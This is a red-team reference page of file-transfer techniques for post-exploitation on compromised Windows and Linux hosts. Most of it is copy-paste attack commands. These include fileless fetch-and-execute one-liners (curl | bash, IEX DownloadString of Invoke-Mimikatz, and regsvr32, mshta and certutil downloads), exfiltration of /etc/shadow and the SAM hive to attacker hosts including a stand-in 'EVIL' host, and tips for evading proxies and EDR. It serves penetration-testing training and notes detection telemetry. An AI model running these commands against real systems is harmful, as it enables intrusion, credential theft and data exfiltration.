Skip to Content

File Transfers

File transfers are one of the noisiest actions on an engagement. Every HTTP download leaves a user-agent trail, every SMB write leaves 4624/5140 events, every certutil invocation has been an AMSI signature since 2019. Pick the method that matches your OPSEC budget, not the one you typed fastest.

When you land on a host, run which wget curl nc ncat socat python python3 php perl ruby (Linux) or check for powershell.exe, certutil.exe, bitsadmin.exe, curl.exe (built-in since Win10 1803) before picking a method. The right method is whatever is already installed.

Cheatsheet

Attacker-side servers

python3 -m http.server 80 python3 -m uploadserver 80 # with /upload endpoint # SMB sudo impacket-smbserver share /tmp/smbshare -smb2support -user test -password test sudo impacket-smbserver share /tmp/smbshare -smb2support # unauthenticated # WebDAV sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous # FTP (anon) sudo python3 -m pyftpdlib --port 21 --write --username=<username> --password=<password> # for auth # Socat TLS-encrypted listener (receives file) openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem cat key.pem cert.pem > bundle.pem socat OPENSSL-LISTEN:4443,cert=bundle.pem,verify=0,fork file:received.bin,create # Netcat listener (serves file) sudo nc -l -p 443 -q 0 < payload.exe # base64 based transfer #linux cat file | base64 -w 0; echo # encode echo -n '<base64>' | base64 -d > file # decode # windows [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("file")); echo # encode [System.IO.File]::WriteAllBytes("file", [System.Convert]::FromBase64String("<base64>")) # decode

Linux target download

# wget / curl wget http://<IP>/linpeas.sh -O /tmp/linpeas.sh curl -o /tmp/linpeas.sh http://<IP>/linpeas.sh # Fileless curl http://<IP>/linpeas.sh | bash wget -qO- http://<IP>/script.py | python3 # /dev/tcp (why ? not sure about this BUT, can you ? YES : youa re basically opening a tcp socket to the IP:port to r/w) exec 3<>/dev/tcp/<IP>/80 echo -e "GET /linpeas.sh HTTP/1.1\r\nHost: <IP>\r\n\r\n" >&3 cat <&3 > linpeas.sh # Netcat receive cat < /dev/tcp/<IP>/443 > tool.exe # SCP scp <USER>@<IP>:/tmp/linpeas.sh /tmp/ # Python 3 python3 -c 'import urllib.request;urllib.request.urlretrieve("http://<IP>/linpeas.sh","linpeas.sh")' # PHP php -r '$f=file_get_contents("http://<IP>/linpeas.sh");file_put_contents("linpeas.sh",$f);' # Ruby ruby -e 'require "net/http";File.write("linpeas.sh",Net::HTTP.get(URI("http://<IP>/linpeas.sh")))' # Perl perl -e 'use LWP::Simple;getstore("http://<IP>/linpeas.sh","linpeas.sh");'

Linux target upload

# curl to uploadserver curl -X POST http://<IP>/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure # Python 3 upload (requires requests module) python3 -c 'import requests;requests.post("http://<IP>:8000/upload",files={"files":open("/etc/passwd","rb")})' # Netcat push nc <IP> 443 < /tmp/loot.tar.gz # SCP upload scp /tmp/loot.tar.gz <USER>@<IP>:/tmp/ # OpenSSL s_client openssl s_client -connect <IP>:443 -quiet < loot.tar.gz

Windows target download

# bypass cert validation [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} # PowerShell download to disk (New-Object Net.WebClient).DownloadFile('http://<IP>/nc.exe','C:\Users\Public\nc.exe') Invoke-WebRequest http://<IP>/nc.exe -OutFile C:\Users\Public\nc.exe -UseBasicParsing # PowerShell fileless IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-Mimikatz.ps1') IEX (iwr 'http://<IP>/PowerView.ps1' -UseBasicParsing) # LOLBIN downloads certutil.exe -urlcache -split -f http://<IP>/nc.exe C:\Users\Public\nc.exe bitsadmin /transfer job /priority foreground http://<IP>/nc.exe C:\Users\Public\nc.exe Import-Module bitstransfer; Start-BitsTransfer -Source http://<IP>/nc.exe -Destination C:\Users\Public\nc.exe # SMB copy copy \\<IP>\share\nc.exe C:\Users\Public\ \\<IP>\share\payload.exe net use n: \\<IP>\share /user:test test # WebDAV fallback (when outbound 445 is blocked) copy \\<IP>\DavWWWRoot\nc.exe C:\Users\Public\

Windows target upload

# bypass cert validation [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} # PowerShell POST to uploadserver (New-Object Net.WebClient).UploadFile('http://<IP>:8000/upload','C:\Users\Public\loot.zip') # Invoke-WebRequest POST $b64 = [Convert]::ToBase64String((Get-Content -Path 'C:\loot.txt' -Encoding Byte)) Invoke-WebRequest -Uri http://<IP>:8000/ -Method POST -Body $b64 # SMB write to attacker share copy C:\Windows\System32\config\SAM \\<IP>\share\ # CertReq.exe exfil via POST body (catches with nc -lvnp) certreq.exe -Post -config http://<IP>:8000/ C:\Windows\win.ini # PSSession Copy-Item $s = New-PSSession -ComputerName TARGET01 Copy-Item -Path "C:\loot.zip" -ToSession $s -Destination C:\Users\Administrator\Desktop\

some unsual methods

These are not common methods, but they are useful to know.

# found all of em in https://gist.github.com/HarmJ0y/bb48307ffa663256e239 By HarmJ0y # PowerShell 3.0+ IEX (iwr 'http://EVIL/evil.ps1') # hidden IE com object $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r # Msxml2.XMLHTTP COM object $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText # WinHttp COM object (not proxy aware!) $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText # using bitstransfer- touches disk! Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r # DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1) # code to execute needs to be a base64 encoded string stored in a TXT record IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0])))) # from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d <# <?xml version="1.0"?> <command> <a> <execute>Get-Process</execute> </a> </command> #> $a = New-Object System.Xml.XmlDocument $a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt") $a.command.a.execute | iex

Transfer Workflow

File transfer is step two of post-exploitation right after shell stabilization. This is a canonical reference note, so it uses a flat decision workflow rather than a phased methodology: enumerate what’s available, pick the quietest method the target allows, verify, and clean up.

Before picking a method, answer three questions in order: what tools exist, what egress is allowed, and what is watching. The method you use is whatever is already installed on a path the firewall permits, chosen for the lowest telemetry you can afford.

1. Enumerate what’s available

  • Identify OS and architecture uname -a (Linux), systeminfo (Windows). Determines which binaries you transfer and which method fits.
  • Enumerate installed transfer tools Linux: which wget curl nc ncat socat python python3 php perl ruby scp sftp openssl / Windows: check for powershell.exe, certutil.exe, bitsadmin.exe, curl.exe, mshta.exe.
  • Check PowerShell version (Windows) $PSVersionTable.PSVersion PS 2.0 = Net.WebClient only, PS 3.0+ = Invoke-WebRequest.
  • Check writable directories Linux: /tmp, /dev/shm, /var/tmp / Windows: C:\Users\Public\, C:\Windows\Temp\, current user’s %TEMP%
  • Check network egress what ports are open outbound? curl http://<IP>:80, curl http://<IP>:443, try SMB dir \\<IP>\share\.
  • Check for AV/EDR Get-MpPreference (Defender), tasklist for known AV process names this sets your OPSEC budget.

2. Pick a method (priority order)

  • Start attacker-side server python3 -m http.server 80 in your tools directory. Leave it running for the entire engagement.
  • Native interpreters first wget/curl (Linux), PowerShell DownloadFile/IWR (Windows). Fastest, least suspicious.
  • Fileless before on-disk if you only need to run something (LinPEAS, PowerView, Invoke-Mimikatz), pipe to interpreter. curl | bash or IEX (...).DownloadString. Never write to disk unless you must.
  • HTTP before SMB before FTP corporate firewalls almost always allow outbound 80/443. SMB (445) is usually blocked outbound. FTP is rare and noisy.
  • Authenticated SMB when guest fails Win10 1709+ blocks unauthenticated guest access by default. Use impacket-smbserver with -user test -password test.
  • LOLBINs when PowerShell is blocked certutil, bitsadmin, mshta, regsvr32, cscript. Check LOLBAS .
  • Base64 copy-paste as last resort when no network path exists between target and attacker.

3. Verify, protect, and clean up

  • Verify every transfer compare md5sum / Get-FileHash -Algorithm md5 on both sides. Half-downloaded binaries waste hours.
  • Encrypt before transfer if the file is sensitive NTDS.dit, credential dumps, PII, client data. openssl enc -aes256 or Invoke-AESEncryption.ps1. See Protected Transfers.
  • Swap user agent if proxy-inspected Invoke-WebRequest -UserAgent $([Microsoft.PowerShell.Commands.PSUserAgent]::Chrome).
  • Track what you dropped note every file you transfer to every host. You need this for the report and for cleanup.
  • Clean up on rotate-off rm, del, Remove-Item transferred tools. Clear BITS jobs: bitsadmin /reset /allusers. Remove SMB mounts: net use n: /delete.

Why is fileless IEX (...).DownloadString preferred over DownloadFile when you only need to run a PowerShell recon script? DownloadFile writes to disk, triggering on-access AV, Defender real-time protection, Sysmon Event ID 11 (FileCreate), and EDR file-creation telemetry. DownloadString keeps the script as a .NET string in the PowerShell process memory AMSI still scans the decoded content, but you avoid the filesystem entirely. If AMSI is your blocker, writing to disk won’t help either you need an AMSI bypass first.

Windows Transfers Deep Dive

PowerShell WebClient methods

System.Net.WebClient is available in every PowerShell version since 2.0. Supports HTTP, HTTPS, and FTP.

# Download to disk (New-Object Net.WebClient).DownloadFile('http://<IP>/PowerView.ps1','C:\Users\Public\PowerView.ps1') # Async returns immediately (useful from web shells or unstable shells) (New-Object Net.WebClient).DownloadFileAsync('http://<IP>/PowerView.ps1','C:\Users\Public\PowerView.ps1') # Fileless pipe to IEX (Invoke-Expression) IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-Mimikatz.ps1') (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-Mimikatz.ps1') | IEX
MethodReturnsUse
DownloadFileWrites to diskMost common when you need the file persisted
DownloadFileAsyncWrites to disk, non-blockingWeb shells, unstable connections
DownloadStringstringFileless pipe to IEX
DownloadDatabyte[]Binary content, custom processing
OpenReadStreamStreaming large files

PowerShell Invoke-WebRequest

Available from PowerShell 3.0+ (Server 2012 / Windows 8). Aliases: iwr, curl, wget.

Invoke-WebRequest http://<IP>/tool.exe -OutFile C:\Users\Public\tool.exe -UseBasicParsing

Invoke-WebRequest fails on hardened systems where IE’s first-run configuration isn’t complete: “The response content cannot be parsed because the Internet Explorer engine is not available.” Always add -UseBasicParsing by reflex no downside. It’s the default on PowerShell Core 6+, and a no-op (but harmless) on PS 7.

SSL/TLS trust bypass

Self-signed certificates throw “Could not establish trust relationship for the SSL/TLS secure channel.” Disable validation for the session:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} IEX (New-Object Net.WebClient).DownloadString('https://<IP>/script.ps1')

JavaScript / VBScript downloaders (cscript.exe)

When PowerShell is blocked by AppLocker but Windows Scripting Host is still allowed.

// wget.js save and invoke with: cscript.exe /nologo wget.js http://<IP>/tool.exe tool.exe var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), false); WinHttpReq.Send(); BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile(WScript.Arguments(1));
cscript.exe /nologo wget.js http://<IP>/nc.exe nc.exe
' wget.vbs same concept, different engine dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", WScript.Arguments.Item(0), False xHttp.Send with bStrm .type = 1 : .open : .write xHttp.responseBody : .savetofile WScript.Arguments.Item(1), 2 end with

Lateral Transfer Methods

These methods are for moving files between compromised hosts inside the target network, not back to the attacker.

PowerShell Remoting Copy-Item

Uses WinRM (5985/5986), which is almost always allowed east-west between domain hosts. Leaves a different telemetry footprint than SMB writes.

# Verify WinRM connectivity Test-NetConnection -ComputerName DATABASE01 -Port 5985 $Session = New-PSSession -ComputerName DATABASE01 # Push to remote host Copy-Item -Path C:\tools\mimikatz.exe -ToSession $Session -Destination C:\Users\Administrator\Desktop\ # Pull from remote host Copy-Item -Path "C:\Users\Administrator\Desktop\NTDS.dit" -Destination C:\ -FromSession $Session

Protected Transfers

When the file contains client data, NTDS.dit, credential material, or anything subject to compliance rules, encrypt before transfer. Even when using HTTPS/SSH, the file sits on disk unencrypted on both endpoints and engagements have been torpedoed by a legal team discovering a plaintext passwd-dump.txt on an attacker VM.

Unless the client explicitly authorizes it as part of a DLP test, never exfiltrate actual PII, financial data, or trade secrets. Use synthetic data that demonstrates the capability without the liability. Read the RoE carefully data exfil is often out of scope even when “demonstrate impact” is in scope.

Linux openssl enc

# Encrypt openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc # Decrypt openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd

-iter 100000 -pbkdf2 forces 100k PBKDF2 iterations instead of openssl’s weak default key derivation. Without this, offline brute force of the passphrase is trivial.

Windows Invoke-AESEncryption.ps1

Import-Module .\Invoke-AESEncryption.ps1 Invoke-AESEncryption -Mode Encrypt -Key "uniquePerEngagement!" -Path .\scan-results.txt Invoke-AESEncryption -Mode Decrypt -Key "uniquePerEngagement!" -Path .\scan-results.txt.aes

Use a unique key per engagement. A single shared password across clients is how a leaked attacker VM turns into a multi-client breach.

Socat OpenSSL tunnel

End-to-end encrypted raw byte pipe. Useful for ad-hoc transfers when both sides have socat.

# One-time cert openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem cat key.pem cert.pem > bundle.pem # Receiver (attacker) socat OPENSSL-LISTEN:4443,cert=bundle.pem,verify=0,fork file:received.bin,create # Sender (target) socat OPENSSL:<IP>:4443,verify=0 file:loot.bin

OpenSSL s_server / s_client

openssl alone can create a TLS byte pipe this is the GTFOBins approach.

# Attacker serves the file openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem openssl s_server -quiet -accept 443 -cert cert.pem -key key.pem < /tmp/linpeas.sh # Target pulls it openssl s_client -connect <IP>:443 -quiet > linpeas.sh

Living Off the Land Binaries

LOLBINs (Windows) and GTFOBins (Linux) are signed, trusted, platform-native binaries whose legitimate functionality includes network I/O. They bypass application whitelists and often slip past behavioural rules focused on powershell.exe and cmd.exe.

Windows LOLBINs

BinaryCommandNotes
certutil.execertutil -urlcache -split -f http://<IP>/nc.exe out.exeFlagged by AMSI since 2019 still works on unpatched or AMSI-disabled hosts
certutil.execertutil -verifyctl -split -f http://<IP>/nc.exeAlternate syntax, sometimes bypasses basic signatures
bitsadmin.exebitsadmin /transfer j /priority foreground http://<IP>/nc.exe C:\Users\Public\nc.exeCreates a BITS job visible in bitsadmin /list
Start-BitsTransferImport-Module bitstransfer; Start-BitsTransfer -Source http://<IP>/nc.exe -Destination C:\Users\Public\nc.exePowerShell wrapper around BITS
mshta.exemshta http://<IP>/file.htaRuns HTML Application classic HTA delivery
msiexec.exemsiexec /q /i http://<IP>/pkg.msiInstalls MSI from URL, silent mode
regsvr32.exeregsvr32 /s /n /u /i:http://<IP>/file.sct scrobj.dll”Squiblydoo” runs SCT from URL without writing it
expand.exeexpand \\<IP>\share\file.cab C:\temp\fileSMB/WebDAV source, legitimate CAB expander
GfxDownloadWrapper.exeGfxDownloadWrapper.exe "http://<IP>/nc.exe" "C:\Temp\nc.exe"Intel Graphics helper only on Intel-GPU systems, low EDR coverage
CertReq.execertreq -Post -config http://<IP>:8000/ C:\Windows\win.iniUploads file as POST body exfil with just a Netcat listener
desktopimgdownldr.exedesktopimgdownldr /lockscreen /o:C:\Temp\file.exe /u:http://<IP>/file.exeCitrix binary rare but effective where present

Linux GTFOBins

BinaryCommand
opensslopenssl s_client -connect <IP>:443 -quiet > file
curl / wgetSee Linux Transfers
nc / ncat / socatSee Attacker-Side Servers
scp / sftpAny SSH egress
tftptftp -m binary <IP> -c get file rare but silent
python / php / ruby / perlOne-liners in Linux section
busyboxbusybox wget http://<IP>/file present on minimal/embedded systems

Search LOLBAS  for /download or /upload and GTFOBins  for +file download or +file upload for the full current list.

Detection and Evasion Awareness

Understanding what the blue team sees helps you pick the quietest method for the OPSEC budget.

User-agent fingerprints

Every Windows download method has a distinct default user agent. Enterprise proxies use these to flag non-browser HTTP clients.

MethodDefault User-Agent
Invoke-WebRequest / Invoke-RestMethodMozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0
WinHttp.WinHttpRequest.5.1Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Msxml2.XMLHTTPMozilla/4.0 (compatible; MSIE 7.0; ...)
certutilMicrosoft-CryptoAPI/10.0
BITSMicrosoft BITS/7.8
curl.exe (Win10 built-in)curl/7.55.1 (varies by Windows build)

User-agent swap

# List built-in PS user agents [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="UA";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} # Use Chrome UA $UA = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome Invoke-WebRequest http://<IP>/nc.exe -UserAgent $UA -OutFile C:\Users\Public\nc.exe -UseBasicParsing

User-agent swapping helps against pattern-match blocklists on proxies. It will not evade behavioural analysis, TLS MITM inspection, or AMSI.

?

You just pulled mimikatz.exe down with certutil -urlcache. What does the blue team see, and which event fires first?

In order:

  • (1) Process creation (Sysmon 1 / Security 4688) for certutil.exe with the full -urlcache -split -f http://... command line this fires before the network event.
  • (2) DNS query (Sysmon 22) for the attacker host.
  • (3) Network connection (Sysmon 3) from certutil.exe to an external IP certutil contacting the internet is itself anomalous.
  • (4) File creation (Sysmon 11) when the binary lands.
  • (5) AMSI match if enabled. Most SOCs alert on the certutil command-line pattern before any file-based events index. The command line is the loudest part not the binary you dropped.
?

Why is a Chrome user-agent a weak evasion on its own?

User agents are client-declared and trivially spoofed defenders know this. Modern detections look at behaviour: process ancestry, network tuple, timing. A powershell.exe child of winword.exe making HTTPS requests to a raw IP is anomalous regardless of UA. UA swapping helps against pattern-match proxy blocklists, not against anything behavioural.

Knowledge Check

Quiz

You have a web shell on a hardened Windows 2019 server. Outbound 445 is blocked, outbound 80/443 is allowed but proxy-inspected with a UA allow-list (Chrome, Firefox, Edge only), AMSI is on, AppLocker blocks powershell.exe for non-admins. You need to get PowerView.ps1 onto the box and run it. What's your best first move?

Quiz

You're on a Linux box with Bash 5.1, no wget, no curl, no python, no netcat, and no outbound connectivity to your attacker but you can reach a misconfigured internal mirror at 10.10.10.32:80 that serves LinPEAS. What's your move?

References

#penetrationtesting #redteam #postexploitation #filetransfer #windows #linux #lolfas #gtfobins #opscec #defenseevasion #privesc #exfiltration

Last updated on